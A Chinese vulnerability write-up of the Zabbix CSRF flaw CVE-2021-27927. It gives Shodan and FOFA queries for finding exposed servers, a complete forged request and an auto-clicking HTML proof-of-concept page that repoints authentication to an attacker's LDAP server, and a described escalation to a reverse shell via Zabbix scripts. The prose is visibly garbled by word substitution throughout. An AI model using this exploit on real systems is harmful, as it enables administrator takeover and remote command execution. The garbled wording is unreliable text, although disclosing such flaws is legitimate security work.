Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927

破绽描绘

Zabbix是一个企业IT网络和应用程序监控处理计划。在对其源代码的例行检查中,我们发现Zabbix UI的身份考证组件中存在CSRF(跨站点恳求伪造)破绽CVE-2021-27927。运用此破绽,假如攻击者可以压服Zabbix管理员跟踪歹意链接,则未经历证的攻击者能够接收Zabbix管理员的帐户。即便有默许的SameSite=Lax cookie维护,也能够在一切阅读器中应用此破绽。

此破绽的影响很大。固然应用该破绽需求用户交互,但胜利应用该破绽的结果是完整接收Zabbix管理员帐户。对Zabbix的管理访问为攻击者提供了大量有关网络上其他设备的信息,以及在Zabbix效劳器上执行恣意命令的才能。在某些配置中,攻击者还能够在Zabbix监视的主机上执行恣意命令。
 


 

影响版本

Zabbix  4.0.28rc1, 5.0.8rc1, 5.2.4rc1, and 5.4.0alpha1
 


 

Shodan

“html: Zabbix”

图片[1]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区
 


 

FOFA

title=="Zabbix"

 


 

破绽剖析

CSRF破绽的工作原理

首先,用户(受害者)登录到易受攻击的网站(目的)。在这种状况下,“登录”仅表示用户的阅读器已在其中存储目的网站的有效会话cookie或根本身份考证凭据。阅读器应用程序不一定需求翻开。

接下来,攻击者运用社会工程压服受害用户跟踪指向歹意攻击者控制的网站的链接。有多种办法能够完成这一点,如钓鱼电子邮件或聊天中的链接等。

当受害者访问歹意网站时,歹意网站的HTML/JavaScript代码会加载到受害者的阅读器中。然后,该代码向目的网站发送一个API恳求。来自歹意网站的恳求在受害者的阅读器看来是合法的,因而,受害者的阅读器会随恳求一同发送用户的会话cookie。

歹意恳求抵达目的web应用程序。目的web应用程序无法判别恳求能否来自歹意源。目的web应用程序代表攻击者执行恳求的操作。CSRF攻击通常试图滥用与身份考证相关的操作,如创立或修正用户或更改密码。

图片[2]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区

 

CSRF攻击预防

针对CSRF攻击最常用的防御是运用反CSRF令牌。这些令牌是随机生成的数据片段,作为恳求的一局部从应用程序前端代码发送到后端。后端考证反CSRF令牌和用户的会话cookie。令牌能够作为HTTP头或在恳求体中传输,但不能作为cookie传输。假如正的确现,此办法将击败CSRF攻击,由于攻击者很难伪造包含正确反CSRF令牌的恳求。
Zabbix以sid参数的方式运用反CSRF令牌,该参数在恳求正文中传送。例如,将Zabbix Admin用户的密码更新为值zabbix1的恳求如下所示:

图片[3]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区

假如sid参数丧失或不正确,此恳求将失败。
另一个针对CSRF攻击提供某种维护的措施是相同的站点cookie属性。这是阅读器用来肯定何时能够将Cookie作为跨站点恳求的一局部传输到站点的设置。此属性有三个值:Strict、Lax和None。

Same-Site=Strict:绝不将Cookie作为跨站点恳求的一局部发送。
Same-Site=Lax:仅当跨站点恳求是GET恳求并影响顶级导航(即招致阅读器地址栏更改)时,才将cookie作为跨站点恳求的一局部发送。单击链接被视为顶级导航,而加载图像或脚本则不是。GET恳求通常被以为是平安的,由于它们不应该改动任何后端状态。
Same-Site-None:同一站点无:为一切跨站点恳求发送cookie。

Web应用程序开发人员能够选择显式设置同一站点属性的值,作为用户身份考证后向前端发送cookie的一局部。假如未显式设置该属性,现代阅读器将默许值设置为Lax。Zabbix就是这种状况——没有设置相同的站点属性,并且默许为Lax。
 


 

Zabbix CVE-2021-27927

如上所述,Zabbix运用反CSRF令牌,这些令牌可有效抵御试图应用添加和修正用户和角色等操作的CSRF攻击。但是,我们发现有一个重要的场景没有考证反CSRF令牌:更新应用程序的身份考证设置。

图片[4]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区

此表单控制用于登录Zabbix的身份考证类型,能够是“内部”或“LDAP”之一。关于LDAP,还能够设置LDAP提供程序的细致信息,如LDAP主机和端口、根本DN等。

图片[5]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区

处置此表单提交的后端控制器类CControllerAuthenticationUpdate已关闭令牌考证,如下所示:

图片[6]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区

此外,同样重要的是,我们发如今Zabbix中,经过POST在恳求体中提交的任何参数都能够经过GET等效地作为URL查询参数提交。这意味着短少sid参数的以下伪造GET恳求能够与包含sid的合法POST恳求一样工作。

GET /zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update

上述恳求将身份考证办法更新为LDAP并设置各种LDAP属性。

图片[7]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区
 


 

破绽应用

要执行完整攻击,攻击者将执行以下操作:

首先,设置由攻击者控制的LDAP效劳器,目的Zabbix应用程序能够经过网络访问该效劳器。在我们的示例中,我们运用了10.0.229.1版本的Active Directory效劳器。我们还在Active Directory中配置了一个名为“Admin”的用户(与内置的Zabbix Admin用户名相匹配),该用户的密码为“Z@bb1x!”.

然后,托管一个包含歹意HTML页面的网站。关于我们的示例,我们有一个HTML页面,其中包含一个伪造的跨站点恳求链接。加载页面后,将经过JavaScript自动单击链接。这契合“顶级导航”的请求

<html>
<body>

  <p>Any web site</p>
  <a id='link' href='http://192.168.0.140/zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3Dsmoke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3Dsmoke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update'></a>
  <script>
    document.getElementById('link').click();
  </script>

</body>
</html>

最后,诱使受害者Zabbix管理员用户单击指向歹意站点的链接。一旦发作这种状况,Zabbix管理员将看到站点上的身份考证设置自动更新如下:

图片[8]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区

图片[9]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区

此时,攻击者能够运用本人的管理员用户凭据登录。顺便说一句,受害者Zabbix管理员的会话在他/她注销之前依然有效。

这种特殊的CSRF攻击的一个有趣的方面是它不是自觉的。这是由于Zabbix在处置身份考证设置表单提交时运用测试用户和密码考证LDAP效劳器衔接。经过Zabbix应用程序衔接到本人的LDAP效劳器,攻击者能够立刻晓得CSRF攻击能否胜利。一旦测试衔接发作,攻击者就能够自动登录到受害者的Zabbix效劳器并执行进一步的操作。

 

远程命令执行

一旦攻击者取得管理员访问权限,他/她就能够轻松取得远程命令执行权限,由于这是产品的内置功用。UI的“脚本”局部包含一个放置要在Zabbix效劳器、Zabbix效劳器代理或Zabbix代理(在Zabbix监视的主机上运转的代理)上执行的任何命令的位置。

例如,为了在Zabbix效劳器上取得反向shell,攻击者能够修正内置的Detect操作系统脚本,以包含perl反向shell负载,如下所示:

图片[10]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区

然后在仪表板页面上执行脚本:

图片[11]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区

要获取反向shell,请执行以下操作:

图片[12]-Zabbix UI的身份验证组件CSRF(跨站点请求伪造)漏洞CVE-2021-27927-孤勇者社区

依据配置,攻击者还能够在效劳器代理或代理上运转远程命令。
 


 

处理方法

晋级版本
https://support.zabbix.com/browse/ZBX-18942
 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞8赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片